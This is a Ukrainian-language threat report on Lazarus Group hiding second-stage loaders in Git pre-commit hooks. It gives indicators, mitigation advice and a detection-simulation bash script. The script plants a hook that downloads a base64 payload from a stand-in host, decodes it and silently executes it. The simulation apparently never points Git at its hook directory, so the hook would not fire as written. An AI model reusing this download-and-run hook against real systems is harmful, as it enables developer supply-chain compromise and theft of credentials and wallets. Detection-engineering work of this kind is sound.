Lazarus Group Використовує Git Hooks Для Приховування Шкідливого ПЗ Інфіковані Інтерв’ю КНДР та Кампанія TaskJacker Тепер Ховає Другий Завантажувач у гіт хуках для Завантаження InvisibleFerret та Beavertail Malware

Резюме

Північнокорейська група Lazarus оновила свою кампанію Contagious Interview та TaskJacker, вбудувавши механізм доставки другого етапу всередині шкідливого Git pre-commit and post-checkout хуків. Ці хуки тихо отримують специфічні для платформи навантаження з URL-адреси, розміщеної на Vercel, і виконують їх на системах macOS, Linux і Windows. Зловживаючи довіреними робочими потоками розробників та інструментарієм репозиторію, зловмисники перетворюють рутинні завдання кодування у вектор компрометації ланцюга поставок, що може призвести до крадіжки облікових даних та компрометації криптовалютних гаманців. Ключові індикатори включають шкідливий .githooks/pre-commit скрипт та інфраструктуру, розміщену на precommit.vercel.app.

Розслідування

Дослідники OpenSourceMalware виявили компактний .githooks/pre-commit скрипт, що визначає операційну систему жертви та завантажує відповідне навантаження з precommit.vercel.app використовуючи curl or wget. Той самий хеш скрипту з’явився у кількох репозиторіях GitHub, замаскованих під проєкти з оцінки коду, пов’язані з темами криптовалюти та DeFi. Інфраструктура подавала різні payloads оболонки або пакетів залежно від операційної системи, контролюючи через параметр запиту на основі прапорів. Дослідники також поділилися запитами на пошук коду GitHub, що можуть бути використані для відтворення пошуку та знаходження подібних репозиторіїв.

Пом’якшення

Організації повинні уважно переглянути хуки Git-репозиторію, особливо файли у .githooks, .husky, і .vscode/tasks.json, перед тим як дозволяти їх виконати. Розробники повинні клонувати та тестувати ненадійні репозиторії лише в ізольованих середовищах, які не містять SSH ключів, файлів гаманців або активних профілів браузера. Автоматичне виконання хуків Git повинно бути відключено де це можливо, або обмежене лише затвердженими скриптами. Команди безпеки також повинні моніторити вихідний трафік до precommit.vercel.app та подібних доменів, які можуть підтримувати доставку шкідливих навантажень.

Реагування

Захисники повинні блокувати мережеве спілкування з precommit.vercel.app та створити моніторинг цілісності файлів для неочікуваних .githooks/pre-commit файлів. Попередження також повинні бути викликані, коли curl or wget виконується з процесів, пов’язаних з хуками Git. Будь-які потенційно скомпрометовані облікові дані, токени або криптовалютні гаманці повинні бути розслідувані та негайно замінені. Полювання за загрозами повинно бути розширено з використанням наданих індикаторів для ідентифікації постраждалих репозиторіїв та всіх систем, що взаємодіяли з ними.

Виконання симуляції

Передумова: Перевірка телеметрії та базової лінії Pre-flight повинна бути пройденою.

Пояснення: Цей розділ детально описує точне виконання техніки (TTP) супротивника, розробленої для запуску правила виявлення. Команди та наратив МУСЯТЬ безпосередньо відображати ідентифіковані TTP та мають генерувати точну телеметрію, очікувану логікою виявлення.

• Нарис атаки та команди:
  Оператор з групи Lazarus компрометує робочу станцію розробника і впроваджує шкідливий pre-commit хук Git. Хук поміщається в приховану директорію “.githooks” для уникнення випадкового виявлення. Коли виконується будь-який git commit , хук тихо контактує з сервером C2, завантажує payload, закодований в base64, записує його на /tmp/.payload, робить його виконуваним і запускає, забезпечуючи цим плацдарм (T1620) та виконуючи вбудований шкідливий payload (T1027.009).

• Регресійний тестовий скрипт:

  #!/bin/bash
  # -------------------------------------------------
  # Тест на шкідливий pre-commit хук у стилі Lazarus
  # -------------------------------------------------
  
  # 1. Створити приховану директорію .githooks
  mkdir -p "$HOME/.githooks"
  
  # 2. Написати шкідливий pre-commit хук
  cat > "$HOME/.githooks/pre-commit" <<'EOF'
  #!/bin/bash
  # Шкідливий pre-commit хук – завантажує та виконує payload
  C2_URL="http://malicious.example.com/payload.b64"
  TMPFILE="/tmp/.payload"
  
  # Завантажити payload base64
  curl -s -o "$TMPFILE.b64" "$C2_URL"
  # Декодувати та встановити виконуваним
  base64 -d "$TMPFILE.b64" > "$TMPFILE"
  chmod +x "$TMPFILE"
  # Виконати payload тихо
  "$TMPFILE" &
  exit 0
  EOF
  
  # 3. Зробити хук виконуваним
  chmod +x "$HOME/.githooks/pre-commit"
  
  # 4. Симулювати git commit для запуску хуку
  mkdir -p "$HOME/malicious-repo"
  cd "$HOME/malicious-repo"
  git init > /dev/null 2>&1
  touch README.md
  git add README.md
  git commit -m "Initial commit" > /dev/null 2>&1
  
  echo "Шкідливий pre-commit хук виконано (якщо спрацює виявлення, має з'явитися сповіщення)."

• Команди очищення:

  #!/bin/bash
  # Видалити шкідливі артефакти
  rm -rf "$HOME/.githooks"
  rm -f "/tmp/.payload" "/tmp/.payload.b64"
  rm -rf "$HOME/malicious-repo"
  echo "Очищення завершено."